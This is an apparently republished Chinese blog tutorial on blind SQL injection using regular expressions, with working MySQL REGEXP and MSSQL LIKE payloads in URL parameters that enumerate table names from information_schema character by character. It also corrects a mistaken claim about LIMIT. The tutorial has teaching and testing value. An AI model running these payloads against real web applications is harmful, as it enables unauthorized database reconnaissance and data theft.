zoukankan      html  css  js  c++  java
  • SQL盲注之正则攻击

    我们都已经知道,在MYSQL 5+information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

    1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

    注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

    2. 判断第一个字符是否是a-n中的字符

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

    3. 确定该字符为n

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

    4. 表达式的更换如下

    expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

    这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 不就行了。

    5.接下来猜解其它表了 (只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了)这里是错误的!!!

    regexp匹配的时候会在所有的项都进行匹配。例如:

    security数据库的表有多个,usersemail

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确

    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

    实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1table_schema='security'已经起到了限定作用了,limit有没有已经不重要了。

     

    -----------------------------------------------MSSQL---------------------------------------------------

    MSSQL所用的正则表达式并不是标准正则表达式 ,该表达式使用 like关键词

    default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

    该查询语句中,select top 1 是一个组合哦,不要看错了。

    如果要查询其它的表名,由于不能像mysql哪样用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前x行里,其实查询的就是第x+1行。

    例如 查询第二行的表名:

    default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

    表达式的顺序:

    'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

    之所以表达式 news[a-z]查询后返回正确是应为%代表0-n个字符,使用"_"则只能代表一个字符。故确认后续是否还有字符克用如下表达式

    'news%' TRUE -> 'news_' FALSE

    同理可以用相同的方法获取字段,值。这里就不再详细描述了。

  • 相关阅读:
    怎么做接口测试,概念及常用方法一
    Maven 常用命令
    终端/Shell 快捷键
    Linux/Unix split 大文件分割合并
    macOS 跳过非 AppStore 下载的软件打开时的验证步骤
    docker[-compose] 连接内网其他容器地址
    iOS现有工程 集成 Cordova/Ionic
    Retrofit2 上传图片等文件
    ButterKnife 绑定 RadioGroup
    使用 Sublime Text 3 开发 React
  • 原文地址:https://www.cnblogs.com/Y-HKL/p/6054579.html
Copyright © 2011-2022 走看看